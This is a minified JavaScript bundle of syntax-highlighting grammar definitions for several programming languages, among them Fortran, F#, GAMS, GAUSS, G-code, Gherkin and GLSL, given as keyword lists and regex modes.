K={className:"string",begin:/'(.|\\[xXuU][a-zA-Z0-9]+)'/},q={className:"string",variants:[{begin:'"',end:'"'}]},z={className:"function",beginKeywords:"def",end:/[:={\[(\n;]/,excludeEnd:!0,contains:[{className:"title",relevance:0,begin:/[^0-9\n\t "'(),.`{}\[\]:;][^\n\t "'(),.`{}\[\]:;]+|[^0-9\n\t "'(),.`{}\[\]:;=]/}]};return{name:"Flix",keywords:{literal:"true false",keyword:"case class def else enum if impl import in lat rel index let match namespace switch type yield with"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,K,q,z,A.C_NUMBER_MODE]}}$J8.exports=XPq});var ZJ8=v((nkz,GJ8)=>{function $Pq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function $x1(...A){return A.map((q)=>$Pq(q)).join("")}function _Pq(A){let K={className:"params",begin:"\\(",end:"\\)"},q={variants:[A.COMMENT("!","$",{relevance:0}),A.COMMENT("^C[ ]","$",{relevance:0}),A.COMMENT("^C$","$",{relevance:0})]},Y=/(_[a-z_\d]+)?/,z=/([de][+-]?\d+)?/,w={className:"number",variants:[{begin:$x1(/\b\d+/,/\.(\d*)/,z,Y)},{begin:$x1(/\b\d+/,z,Y)},{begin:$x1(/\.\d+/,z,Y)}],relevance:0},H={className:"function",beginKeywords:"subroutine function program",illegal:"[${=\\n]",contains:[A.UNDERSCORE_TITLE_MODE,K]},J={className:"string",relevance:0,variants:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]};return{name:"Fortran",case_insensitive:!0,aliases:["f90","f95"],keywords:{literal:".False. .True.",keyword:"kind do concurrent local shared while private call intrinsic where elsewhere type endtype endmodule endselect endinterface end enddo endif if forall endforall only contains default return stop then block endblock endassociate public subroutine|10 function program .and. .or. .not. .le. .eq. .ge. .gt. .lt. goto save else use module select case access blank direct exist file fmt form formatted iostat name named nextrec number opened rec recl sequential status unformatted unit continue format pause cycle exit c_null_char c_alert c_backspace c_form_feed flush wait decimal round iomsg synchronous nopass non_overridable pass protected volatile abstract extends import non_intrinsic value deferred generic final enumerator class associate bind enum c_int c_short c_long c_long_long c_signed_char c_size_t c_int8_t c_int16_t c_int32_t c_int64_t c_int_least8_t c_int_least16_t c_int_least32_t c_int_least64_t c_int_fast8_t c_int_fast16_t c_int_fast32_t c_int_fast64_t c_intmax_t C_intptr_t c_float c_double c_long_double c_float_complex c_double_complex c_long_double_complex c_bool c_char c_null_ptr c_null_funptr c_new_line c_carriage_return c_horizontal_tab c_vertical_tab iso_c_binding c_loc c_funloc c_associated c_f_pointer c_ptr c_funptr iso_fortran_env character_storage_size error_unit file_storage_size input_unit iostat_end iostat_eor numeric_storage_size output_unit c_f_procpointer ieee_arithmetic ieee_support_underflow_control ieee_get_underflow_mode ieee_set_underflow_mode newunit contiguous recursive pad position action delim readwrite eor advance nml interface procedure namelist include sequence elemental pure impure integer real character complex logical codimension dimension allocatable|10 parameter external implicit|10 none double precision assign intent optional pointer target in out common equivalence data",built_in:"alog alog10 amax0 amax1 amin0 amin1 amod cabs ccos cexp clog csin csqrt dabs dacos dasin datan datan2 dcos dcosh ddim dexp dint dlog dlog10 dmax1 dmin1 dmod dnint dsign dsin dsinh dsqrt dtan dtanh float iabs idim idint idnint ifix isign max0 max1 min0 min1 sngl algama cdabs cdcos cdexp cdlog cdsin cdsqrt cqabs cqcos cqexp cqlog cqsin cqsqrt dcmplx dconjg derf derfc dfloat dgamma dimag dlgama iqint qabs qacos qasin qatan qatan2 qcmplx qconjg qcos qcosh qdim qerf qerfc qexp qgamma qimag qlgama qlog qlog10 qmax1 qmin1 qmod qnint qsign qsin qsinh qsqrt qtan qtanh abs acos aimag aint anint asin atan atan2 char cmplx conjg cos cosh exp ichar index int log log10 max min nint sign sin sinh sqrt tan tanh print write dim lge lgt lle llt mod nullify allocate deallocate adjustl adjustr all allocated any associated bit_size btest ceiling count cshift date_and_time digits dot_product eoshift epsilon exponent floor fraction huge iand ibclr ibits ibset ieor ior ishft ishftc lbound len_trim matmul maxexponent maxloc maxval merge minexponent minloc minval modulo mvbits nearest pack present product radix random_number random_seed range repeat reshape rrspacing scale scan selected_int_kind selected_real_kind set_exponent shape size spacing spread sum system_clock tiny transpose trim ubound unpack verify achar iachar transfer dble entry dprod cpu_time command_argument_count get_command get_command_argument get_environment_variable is_iostat_end ieee_arithmetic ieee_support_underflow_control ieee_get_underflow_mode ieee_set_underflow_mode is_iostat_eor move_alloc new_line selected_char_kind same_type_as extends_type_of acosh asinh atanh bessel_j0 bessel_j1 bessel_jn bessel_y0 bessel_y1 bessel_yn erf erfc erfc_scaled gamma log_gamma hypot norm2 atomic_define atomic_ref execute_command_line leadz trailz storage_size merge_bits bge bgt ble blt dshiftl dshiftr findloc iall iany iparity image_index lcobound ucobound maskl maskr num_images parity popcnt poppar shifta shiftl shiftr this_image sync change team co_broadcast co_max co_min co_sum co_reduce"},illegal:/\/\*/,contains:[J,H,{begin:/^C\s*=(?!=)/,relevance:0},q,w]}}GJ8.exports=_Pq});var DJ8=v((rkz,WJ8)=>{function GPq(A){let K={begin:"<",end:">",contains:[A.inherit(A.TITLE_MODE,{begin:/'[a-zA-Z0-9_]+/})]};return{name:"F#",aliases:["fs"],keywords:"abstract and as assert base begin class default delegate do done downcast downto elif else end exception extern false finally for fun function global if in inherit inline interface internal lazy let match member module mutable namespace new null of open or override private public rec return sig static struct then to true try type upcast use val void when while with yield",illegal:/\/\*/,contains:[{className:"keyword",begin:/\b(yield|return|let|do)!/},{className:"string",begin:'@"',end:'"',contains:[{begin:'""'}]},{className:"string",begin:'"""',end:'"""'},A.COMMENT("\\(\\*(\\s)","\\*\\)",{contains:["self"]}),{className:"class",beginKeywords:"type",end:"\\(|=|$",excludeEnd:!0,contains:[A.UNDERSCORE_TITLE_MODE,K]},{className:"meta",begin:"\\[<",end:">\\]",relevance:10},{className:"symbol",begin:"\\B('[A-Za-z])\\b",contains:[A.BACKSLASH_ESCAPE]},A.C_LINE_COMMENT_MODE,A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),A.C_NUMBER_MODE]}}WJ8.exports=GPq});var MJ8=v((okz,jJ8)=>{function ZPq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function WPq(A){return _x1("(",A,")*")}function _x1(...A){return A.map((q)=>ZPq(q)).join("")}function DPq(A){let K={keyword:"abort acronym acronyms alias all and assign binary card diag display else eq file files for free ge gt if integer le loop lt maximizing minimizing model models ne negative no not option options or ord positive prod put putpage puttl repeat sameas semicont semiint smax smin solve sos1 sos2 sum system table then until using while xor yes",literal:"eps inf na",built_in:"abs arccos arcsin arctan arctan2 Beta betaReg binomial ceil centropy cos cosh cvPower div div0 eDist entropy errorf execSeed exp fact floor frac gamma gammaReg log logBeta logGamma log10 log2 mapVal max min mod ncpCM ncpF ncpVUpow ncpVUsin normal pi poly power randBinomial randLinear randTriangle round rPower sigmoid sign signPower sin sinh slexp sllog10 slrec sqexp sqlog10 sqr sqrec sqrt tan tanh trunc uniform uniformInt vcPower bool_and bool_eqv bool_imp bool_not bool_or bool_xor ifThen rel_eq rel_ge rel_gt rel_le rel_lt rel_ne gday gdow ghour gleap gmillisec gminute gmonth gsecond gyear jdate jnow jstart jtime errorLevel execError gamsRelease gamsVersion handleCollect handleDelete handleStatus handleSubmit heapFree heapLimit heapSize jobHandle jobKill jobStatus jobTerminate licenseLevel licenseStatus maxExecError sleep timeClose timeComp timeElapsed timeExec timeStart"},q={className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0},Y={className:"symbol",variants:[{begin:/=[lgenxc]=/},{begin:/\$/}]},z={className:"comment",variants:[{begin:"'",end:"'"},{begin:'"',end:'"'}],illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},w={begin:"/",end:"/",keywords:K,contains:[z,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,A.C_NUMBER_MODE]},H=/[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+/,J={begin:/[a-z][a-z0-9_]*(\([a-z0-9_, ]*\))?[ \t]+/,excludeBegin:!0,end:"$",endsWithParent:!0,contains:[z,w,{className:"comment",begin:_x1(H,WPq(_x1(/[ ]+/,H))),relevance:0}]};return{name:"GAMS",aliases:["gms"],case_insensitive:!0,keywords:K,contains:[A.COMMENT(/^\$ontext/,/^\$offtext/),{className:"meta",begin:"^\\$[a-z0-9]+",end:"$",returnBegin:!0,contains:[{className:"meta-keyword",begin:"^\\$[a-z0-9]+"}]},A.COMMENT("^\\*","$"),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,{beginKeywords:"set sets parameter parameters variable variables scalar scalars equation equations",end:";",contains:[A.COMMENT("^\\*","$"),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,w,J]},{beginKeywords:"table",end:";",returnBegin:!0,contains:[{beginKeywords:"table",end:"$",contains:[J]},A.COMMENT("^\\*","$"),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,A.C_NUMBER_MODE]},{className:"function",begin:/^[a-z][a-z0-9_,\-+' ()$]+\.{2}/,returnBegin:!0,contains:[{className:"title",begin:/^[a-z0-9_]+/},q,Y]},A.C_NUMBER_MODE,Y]}}jJ8.exports=DPq});var VJ8=v((akz,PJ8)=>{function jPq(A){let K={keyword:"bool break call callexe checkinterrupt clear clearg closeall cls comlog compile continue create debug declare delete disable dlibrary dllcall do dos ed edit else elseif enable end endfor endif endp endo errorlog errorlogat expr external fn for format goto gosub graph if keyword let lib library line load loadarray loadexe loadf loadk loadm loadp loads loadx local locate loopnextindex lprint lpwidth lshow matrix msym ndpclex new open output outwidth plot plotsym pop prcsn print printdos proc push retp return rndcon rndmod rndmult rndseed run save saveall screen scroll setarray show sparse stop string struct system trace trap threadfor threadendfor threadbegin threadjoin threadstat threadend until use while winprint ne ge le gt lt and xor or not eq eqv",built_in:"abs acf aconcat aeye amax amean AmericanBinomCall AmericanBinomCall_Greeks AmericanBinomCall_ImpVol AmericanBinomPut AmericanBinomPut_Greeks AmericanBinomPut_ImpVol AmericanBSCall AmericanBSCall_Greeks AmericanBSCall_ImpVol AmericanBSPut AmericanBSPut_Greeks AmericanBSPut_ImpVol amin amult annotationGetDefaults annotationSetBkd annotationSetFont annotationSetLineColor annotationSetLineStyle annotationSetLineThickness annualTradingDays arccos arcsin areshape arrayalloc arrayindex arrayinit arraytomat asciiload asclabel astd astds asum atan atan2 atranspose axmargin balance band bandchol bandcholsol bandltsol bandrv bandsolpd bar base10 begwind besselj bessely beta box boxcox cdfBeta cdfBetaInv cdfBinomial cdfBinomialInv cdfBvn cdfBvn2 cdfBvn2e cdfCauchy cdfCauchyInv cdfChic cdfChii cdfChinc cdfChincInv cdfExp cdfExpInv cdfFc cdfFnc cdfFncInv cdfGam cdfGenPareto cdfHyperGeo cdfLaplace cdfLaplaceInv cdfLogistic cdfLogisticInv cdfmControlCreate cdfMvn cdfMvn2e cdfMvnce cdfMvne cdfMvt2e cdfMvtce cdfMvte cdfN cdfN2 cdfNc cdfNegBinomial cdfNegBinomialInv cdfNi cdfPoisson cdfPoissonInv cdfRayleigh cdfRayleighInv cdfTc cdfTci cdfTnc cdfTvn cdfWeibull cdfWeibullInv cdir ceil ChangeDir chdir chiBarSquare chol choldn cholsol cholup chrs close code cols colsf combinate combinated complex con cond conj cons ConScore contour conv convertsatostr convertstrtosa corrm corrms corrvc corrx corrxs cos cosh counts countwts crossprd crout croutp csrcol csrlin csvReadM csvReadSA cumprodc cumsumc curve cvtos datacreate datacreatecomplex datalist dataload dataloop dataopen datasave date datestr datestring datestrymd dayinyr dayofweek dbAddDatabase dbClose dbCommit dbCreateQuery dbExecQuery dbGetConnectOptions dbGetDatabaseName dbGetDriverName dbGetDrivers dbGetHostName dbGetLastErrorNum dbGetLastErrorText dbGetNumericalPrecPolicy dbGetPassword dbGetPort dbGetTableHeaders dbGetTables dbGetUserName dbHasFeature dbIsDriverAvailable dbIsOpen dbIsOpenError dbOpen dbQueryBindValue dbQueryClear dbQueryCols dbQueryExecPrepared dbQueryFetchAllM dbQueryFetchAllSA dbQueryFetchOneM dbQueryFetchOneSA dbQueryFinish dbQueryGetBoundValue dbQueryGetBoundValues dbQueryGetField dbQueryGetLastErrorNum dbQueryGetLastErrorText dbQueryGetLastInsertID dbQueryGetLastQuery dbQueryGetPosition dbQueryIsActive dbQueryIsForwardOnly dbQueryIsNull dbQueryIsSelect dbQueryIsValid dbQueryPrepare dbQueryRows dbQuerySeek dbQuerySeekFirst dbQuerySeekLast dbQuerySeekNext dbQuerySeekPrevious dbQuerySetForwardOnly dbRemoveDatabase dbRollback dbSetConnectOptions dbSetDatabaseName dbSetHostName dbSetNumericalPrecPolicy dbSetPort dbSetUserName dbTransaction DeleteFile delif delrows denseToSp denseToSpRE denToZero design det detl dfft dffti diag diagrv digamma doswin DOSWinCloseall DOSWinOpen dotfeq dotfeqmt dotfge dotfgemt dotfgt dotfgtmt dotfle dotflemt dotflt dotfltmt dotfne dotfnemt draw drop dsCreate dstat dstatmt dstatmtControlCreate dtdate dtday dttime dttodtv dttostr dttoutc dtvnormal dtvtodt dtvtoutc dummy dummybr dummydn eig eigh eighv eigv elapsedTradingDays endwind envget eof eqSolve eqSolvemt eqSolvemtControlCreate eqSolvemtOutCreate eqSolveset erf erfc erfccplx erfcplx error etdays ethsec etstr EuropeanBinomCall EuropeanBinomCall_Greeks EuropeanBinomCall_ImpVol EuropeanBinomPut EuropeanBinomPut_Greeks EuropeanBinomPut_ImpVol EuropeanBSCall EuropeanBSCall_Greeks EuropeanBSCall_ImpVol EuropeanBSPut EuropeanBSPut_Greeks EuropeanBSPut_ImpVol exctsmpl exec execbg exp extern eye fcheckerr fclearerr feq feqmt fflush fft ffti fftm fftmi fftn fge fgemt fgets fgetsa fgetsat fgetst fgt fgtmt fileinfo filesa fle flemt floor flt fltmt fmod fne fnemt fonts fopen formatcv formatnv fputs fputst fseek fstrerror ftell ftocv ftos ftostrC gamma gammacplx gammaii gausset gdaAppend gdaCreate gdaDStat gdaDStatMat gdaGetIndex gdaGetName gdaGetNames gdaGetOrders gdaGetType gdaGetTypes gdaGetVarInfo gdaIsCplx gdaLoad gdaPack gdaRead gdaReadByIndex gdaReadSome gdaReadSparse gdaReadStruct gdaReportVarInfo gdaSave gdaUpdate gdaUpdateAndPack gdaVars gdaWrite gdaWrite32 gdaWriteSome getarray getdims getf getGAUSShome getmatrix getmatrix4D getname getnamef getNextTradingDay getNextWeekDay getnr getorders getpath getPreviousTradingDay getPreviousWeekDay getRow getscalar3D getscalar4D getTrRow getwind glm gradcplx gradMT gradMTm gradMTT gradMTTm gradp graphprt graphset hasimag header headermt hess hessMT hessMTg hessMTgw hessMTm hessMTmw hessMTT hessMTTg hessMTTgw hessMTTm hessMTw hessp hist histf histp hsec imag indcv indexcat indices indices2 indicesf indicesfn indnv indsav integrate1d integrateControlCreate intgrat2 intgrat3 inthp1 inthp2 inthp3 inthp4 inthpControlCreate intquad1 intquad2 intquad3 intrleav intrleavsa intrsect intsimp inv invpd invswp iscplx iscplxf isden isinfnanmiss ismiss key keyav keyw lag lag1 lagn lapEighb lapEighi lapEighvb lapEighvi lapgEig lapgEigh lapgEighv lapgEigv lapgSchur lapgSvdcst lapgSvds lapgSvdst lapSvdcusv lapSvds lapSvdusv ldlp ldlsol linSolve listwise ln lncdfbvn lncdfbvn2 lncdfmvn lncdfn lncdfn2 lncdfnc lnfact lngammacplx lnpdfmvn lnpdfmvt lnpdfn lnpdft loadd loadstruct loadwind loess loessmt loessmtControlCreate log loglog logx logy lower lowmat lowmat1 ltrisol lu lusol machEpsilon make makevars makewind margin matalloc matinit mattoarray maxbytes maxc maxindc maxv maxvec mbesselei mbesselei0 mbesselei1 mbesseli mbesseli0 mbesseli1 meanc median mergeby mergevar minc minindc minv miss missex missrv moment momentd movingave movingaveExpwgt movingaveWgt nextindex nextn nextnevn nextwind ntos null null1 numCombinations ols olsmt olsmtControlCreate olsqr olsqr2 olsqrmt ones optn optnevn orth outtyp pacf packedToSp packr parse pause pdfCauchy pdfChi pdfExp pdfGenPareto pdfHyperGeo pdfLaplace pdfLogistic pdfn pdfPoisson pdfRayleigh pdfWeibull pi pinv pinvmt plotAddArrow plotAddBar plotAddBox plotAddHist plotAddHistF plotAddHistP plotAddPolar plotAddScatter plotAddShape plotAddTextbox plotAddTS plotAddXY plotArea plotBar plotBox plotClearLayout plotContour plotCustomLayout plotGetDefaults plotHist plotHistF plotHistP plotLayout plotLogLog plotLogX plotLogY plotOpenWindow plotPolar plotSave plotScatter plotSetAxesPen plotSetBar plotSetBarFill plotSetBarStacked plotSetBkdColor plotSetFill plotSetGrid plotSetLegend plotSetLineColor plotSetLineStyle plotSetLineSymbol plotSetLineThickness plotSetNewWindow plotSetTitle plotSetWhichYAxis plotSetXAxisShow plotSetXLabel plotSetXRange plotSetXTicInterval plotSetXTicLabel plotSetYAxisShow plotSetYLabel plotSetYRange plotSetZAxisShow plotSetZLabel plotSurface plotTS plotXY polar polychar polyeval polygamma polyint polymake polymat polymroot polymult polyroot pqgwin previousindex princomp printfm printfmt prodc psi putarray putf putvals pvCreate pvGetIndex pvGetParNames pvGetParVector pvLength pvList pvPack pvPacki pvPackm pvPackmi pvPacks pvPacksi pvPacksm pvPacksmi pvPutParVector pvTest pvUnpack QNewton QNewtonmt QNewtonmtControlCreate QNewtonmtOutCreate QNewtonSet QProg QProgmt QProgmtInCreate qqr qqre qqrep qr qre qrep qrsol qrtsol qtyr qtyre qtyrep quantile quantiled qyr qyre qyrep qz rank rankindx readr real reclassify reclassifyCuts recode recserar recsercp recserrc rerun rescale reshape rets rev rfft rffti rfftip rfftn rfftnp rfftp rndBernoulli rndBeta rndBinomial rndCauchy rndChiSquare rndCon rndCreateState rndExp rndGamma rndGeo rndGumbel rndHyperGeo rndi rndKMbeta rndKMgam rndKMi rndKMn rndKMnb rndKMp rndKMu rndKMvm rndLaplace rndLCbeta rndLCgam rndLCi rndLCn rndLCnb rndLCp rndLCu rndLCvm rndLogNorm rndMTu rndMVn rndMVt rndn rndnb rndNegBinomial rndp rndPoisson rndRayleigh rndStateSkip rndu rndvm rndWeibull rndWishart rotater round rows rowsf rref sampleData satostrC saved saveStruct savewind scale scale3d scalerr scalinfnanmiss scalmiss schtoc schur searchsourcepath seekr select selif seqa seqm setdif setdifsa setvars setvwrmode setwind shell shiftr sin singleindex sinh sleep solpd sortc sortcc sortd sorthc sorthcc sortind sortindc sortmc sortr sortrc spBiconjGradSol spChol spConjGradSol spCreate spDenseSubmat spDiagRvMat spEigv spEye spLDL spline spLU spNumNZE spOnes spreadSheetReadM spreadSheetReadSA spreadSheetWrite spScale spSubmat spToDense spTrTDense spTScalar spZeros sqpSolve sqpSolveMT sqpSolveMTControlCreate sqpSolveMTlagrangeCreate sqpSolveMToutCreate sqpSolveSet sqrt statements stdc stdsc stocv stof strcombine strindx strlen strput strrindx strsect strsplit strsplitPad strtodt strtof strtofcplx strtriml strtrimr strtrunc strtruncl strtruncpad strtruncr submat subscat substute subvec sumc sumr surface svd svd1 svd2 svdcusv svds svdusv sysstate tab tan tanh tempname time timedt timestr timeutc title tkf2eps tkf2ps tocart todaydt toeplitz token topolar trapchk trigamma trimr trunc type typecv typef union unionsa uniqindx uniqindxsa unique uniquesa upmat upmat1 upper utctodt utctodtv utrisol vals varCovMS varCovXS varget vargetl varmall varmares varput varputl vartypef vcm vcms vcx vcxs vec vech vecr vector vget view viewxyz vlist vnamecv volume vput vread vtypecv wait waitc walkindex where window writer xlabel xlsGetSheetCount xlsGetSheetSize xlsGetSheetTypes xlsMakeRange xlsReadM xlsReadSA xlsWrite xlsWriteM xlsWriteSA xpnd xtics xy xyz ylabel ytics zeros zeta zlabel ztics cdfEmpirical dot h5create h5open h5read h5readAttribute h5write h5writeAttribute ldl plotAddErrorBar plotAddSurface plotCDFEmpirical plotSetColormap plotSetContourLabels plotSetLegendFont plotSetTextInterpreter plotSetXTicCount plotSetYTicCount plotSetZLevels powerm strjoin sylvester strtrim",literal:"DB_AFTER_LAST_ROW DB_ALL_TABLES DB_BATCH_OPERATIONS DB_BEFORE_FIRST_ROW DB_BLOB DB_EVENT_NOTIFICATIONS DB_FINISH_QUERY DB_HIGH_PRECISION DB_LAST_INSERT_ID DB_LOW_PRECISION_DOUBLE DB_LOW_PRECISION_INT32 DB_LOW_PRECISION_INT64 DB_LOW_PRECISION_NUMBERS DB_MULTIPLE_RESULT_SETS DB_NAMED_PLACEHOLDERS DB_POSITIONAL_PLACEHOLDERS DB_PREPARED_QUERIES DB_QUERY_SIZE DB_SIMPLE_LOCKING DB_SYSTEM_TABLES DB_TABLES DB_TRANSACTIONS DB_UNICODE DB_VIEWS __STDIN __STDOUT __STDERR __FILE_DIR"},q=A.COMMENT("@","@"),Y={className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"define definecs|10 undef ifdef ifndef iflight ifdllcall ifmac ifos2win ifunix else endif lineson linesoff srcfile srcline"},contains:[{begin:/\\\n/,relevance:0},{beginKeywords:"include",end:"$",keywords:{"meta-keyword":"include"},contains:[{className:"meta-string",begin:'"',end:'"',illegal:"\\n"}]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,q]},z={begin:/\bstruct\s+/,end:/\s/,keywords:"struct",contains:[{className:"type",begin:A.UNDERSCORE_IDENT_RE,relevance:0}]},w=[{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,endsWithParent:!0,relevance:0,contains:[{className:"literal",begin:/\.\.\./},A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,q,z]}],H={className:"title",begin:A.UNDERSCORE_IDENT_RE,relevance:0},J=function(G,Z,W){let D=A.inherit({className:"function",beginKeywords:G,end:Z,excludeEnd:!0,contains:[].concat(w)},W||{});return D.contains.push(H),D.contains.push(A.C_NUMBER_MODE),D.contains.push(A.C_BLOCK_COMMENT_MODE),D.contains.push(q),D},O={className:"built_in",begin:"\\b("+K.built_in.split(" ").join("|")+")\\b"},X={className:"string",begin:'"',end:'"',contains:[A.BACKSLASH_ESCAPE],relevance:0},$={begin:A.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,keywords:K,relevance:0,contains:[{beginKeywords:K.keyword},O,{className:"built_in",begin:A.UNDERSCORE_IDENT_RE,relevance:0}]},_={begin:/\(/,end:/\)/,relevance:0,keywords:{built_in:K.built_in,literal:K.literal},contains:[A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE,q,O,$,X,"self"]};return $.contains.push(_),{name:"GAUSS",aliases:["gss"],case_insensitive:!0,keywords:K,illegal:/(\{[%#]|[%#]\}| <- )/,contains:[A.C_NUMBER_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,q,X,Y,{className:"keyword",begin:/\bexternal (matrix|string|array|sparse matrix|struct|proc|keyword|fn)/},J("proc keyword",";"),J("fn","="),{beginKeywords:"for threadfor",end:/;/,relevance:0,contains:[A.C_BLOCK_COMMENT_MODE,q,_]},{variants:[{begin:A.UNDERSCORE_IDENT_RE+"\\."+A.UNDERSCORE_IDENT_RE},{begin:A.UNDERSCORE_IDENT_RE+"\\s*="}],relevance:0},$,z]}}PJ8.exports=jPq});var NJ8=v((skz,fJ8)=>{function MPq(A){let Y={$pattern:"[A-Z_][A-Z0-9_.]*",keyword:"IF DO WHILE ENDWHILE CALL ENDIF SUB ENDSUB GOTO REPEAT ENDREPEAT EQ LT GT NE GE LE OR XOR"},z={className:"meta",begin:"([O])([0-9]+)"},w=A.inherit(A.C_NUMBER_MODE,{begin:"([-+]?((\\.\\d+)|(\\d+)(\\.\\d*)?))|"+A.C_NUMBER_RE}),H=[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.COMMENT(/\(/,/\)/),w,A.inherit(A.APOS_STRING_MODE,{illegal:null}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),{className:"name",begin:"([G])([0-9]+\\.?[0-9]?)"},{className:"name",begin:"([M])([0-9]+\\.?[0-9]?)"},{className:"attr",begin:"(VC|VS|#)",end:"(\\d+)"},{className:"attr",begin:"(VZOFX|VZOFY|VZOFZ)"},{className:"built_in",begin:"(ATAN|ABS|ACOS|ASIN|SIN|COS|EXP|FIX|FUP|ROUND|LN|TAN)(\\[)",contains:[w],end:"\\]"},{className:"symbol",variants:[{begin:"N",end:"\\d+",illegal:"\\W"}]}];return{name:"G-code (ISO 6983)",aliases:["nc"],case_insensitive:!0,keywords:Y,contains:[{className:"meta",begin:"%"},z].concat(H)}}fJ8.exports=MPq});var vJ8=v((tkz,TJ8)=>{function PPq(A){return{name:"Gherkin",aliases:["feature"],keywords:"Feature Background Ability Business Need Scenario Scenarios Scenario Outline Scenario Template Examples Given And Then But When",contains:[{className:"symbol",begin:"\\*",relevance:0},{className:"meta",begin:"@[^@\\s]+"},{begin:"\\|",end:"\\|\\w*$",contains:[{className:"string",begin:"[^|]+"}]},{className:"variable",begin:"<",end:">"},A.HASH_COMMENT_MODE,{className:"string",begin:'"""',end:'"""'},A.QUOTE_STRING_MODE]}}TJ8.exports=PPq});var kJ8=v((ekz,EJ8)=>{function VPq(A){return{name:"GLSL",keywords:{keyword:"break continue discard do else for if return while switch case default attribute binding buffer ccw centroid centroid varying coherent column_major const cw depth_any depth_greater depth_less depth_unchanged early_fragment_tests equal_spacing flat fractional_even_spacing fractional_odd_spacing highp in index inout invariant invocations isolines layout line_strip lines lines_adjacency local_size_x local_size_y local_size_z location lowp max_vertices mediump noperspective offset origin_upper_left out packed patch pixel_center_integer point_mode points precise precision quads r11f_g11f_b10f r16 r16_snorm r16f r16i r16ui r32f r32i r32ui r8 r8_snorm r8i r8ui readonly restrict rg16 rg16_snorm rg16f rg16i rg16ui rg32f rg32i rg32ui rg8 rg8_snorm rg8i rg8ui rgb10_a2 rgb10_a2ui rgba16 rgba16_snorm rgba16f rgba16i rgba16ui rgba32f rgba32i rgba32ui rgba8 rgba8_snorm rgba8i rgba8ui row_major sample shared smooth std140 std430 stream triangle_strip triangles triangles_adjacency uniform varying vertices volatile writeonly",type:"atomic_uint bool bvec2 bvec3 bvec4 dmat2 dmat2x2 dmat2x3 dmat2x4 dmat3 dmat3x2 dmat3x3 dmat3x4 dmat4 dmat4x2 dmat4x3 dmat4x4 double dvec2 dvec3 dvec4 float iimage1D iimage1DArray iimage2D iimage2DArray iimage2DMS iimage2DMSArray iimage2DRect iimage3D iimageBuffer iimageCube iimageCubeArray image1D image1DArray image2D image2DArray image2DMS image2DMSArray image2DRect image3D imageBuffer imageCube imageCubeArray int isampler1D isampler1DArray isampler2D isampler2DArray isampler2DMS isampler2DMSArray isampler2DRect isampler3D isamplerBuffer isamplerCube isamplerCubeArray ivec2 ivec3 ivec4 mat2 mat2x2 mat2x3 mat2x4 mat3 mat3x2 mat3x3 mat3x4 mat4 mat4x2 mat4x3 mat4x4 sampler1D sampler1DArray sampler1DArrayShadow sampler1DShadow sampler2D sampler2DArray sampler2DArrayShadow sampler2DMS sampler2DMSArray sampler2DRect sampler2DRectShadow sampler2DShadow sampler3D samplerBuffer samplerCube samplerCubeArray samplerCubeArrayShadow samplerCubeShadow image1D uimage1DArray uimage2D uimage2DArray uimage2DMS uimage2DMSArray uimage2DRect uimage3D uimageBuffer uimageCube uimageCubeArray uint usampler1D usampler1DArray usampler2D usampler2DArray usampler2DMS usampler2DMSArray usampler2DRect usampler3D samplerBuffer usamplerCube usamplerCubeArray uvec2 uvec3 uvec4 vec2 vec3 vec4 void",built_in:"gl_MaxAtomicCounterBindings gl_MaxAtomicCounterBufferSize gl_MaxClipDistances gl_MaxClipPlanes gl_MaxCombinedAtomicCounterBuffers gl_MaxCombinedAtomicCounters gl_MaxCombinedImageUniforms gl_MaxCombinedImageUnitsAndFragmentOutputs gl_MaxCombinedTextureImageUnits gl_MaxComputeAtomicCounterBuffers gl_MaxComputeAtomicCounters gl_MaxComputeImageUniforms gl_MaxComputeTextureImageUnits gl_MaxComputeUniformComponents gl_MaxComputeWorkGroupCount gl_MaxComputeWorkGroupSize gl_MaxDrawBuffers gl_MaxFragmentAtomicCounterBuffers gl_MaxFragmentAtomicCounters gl_MaxFragmentImageUniforms gl_MaxFragmentInputComponents gl_MaxFragmentInputVectors gl_MaxFragmentUniformComponents gl_MaxFragmentUniformVectors gl_MaxGeometryAtomicCounterBuffers gl_MaxGeometryAtomicCounters gl_MaxGeometryImageUniforms gl_MaxGeometryInputComponents gl_MaxGeometryOutputComponents gl_MaxGeometryOutputVertices gl_MaxGeometryTextureImageUnits gl_MaxGeometryTotalOutputComponents gl_MaxGeometryUniformComponents gl_MaxGeometryVaryingComponents gl_MaxImageSamples gl_MaxImageUnits gl_MaxLights gl_MaxPatchVertices gl_MaxProgramTexelOffset gl_MaxTessControlAtomicCounterBuffers gl_MaxTessControlAtomicCounters gl_MaxTessControlImageUniforms gl_MaxTessControlInputComponents gl_MaxTessControlOutputComponents gl_MaxTessControlTextureImageUnits gl_MaxTessControlTotalOutputComponents gl_MaxTessControlUniformComponents gl_MaxTessEvaluationAtomicCounterBuffers gl_MaxTessEvaluationAtomicCounters gl_MaxTessEvaluationImageUniforms gl_MaxTessEvaluationInputComponents gl_MaxTessEvaluationOutputComponents gl_MaxTessEvaluationTextureImageUnits gl_MaxTessEvaluationUniformComponents gl_MaxTessGenLevel 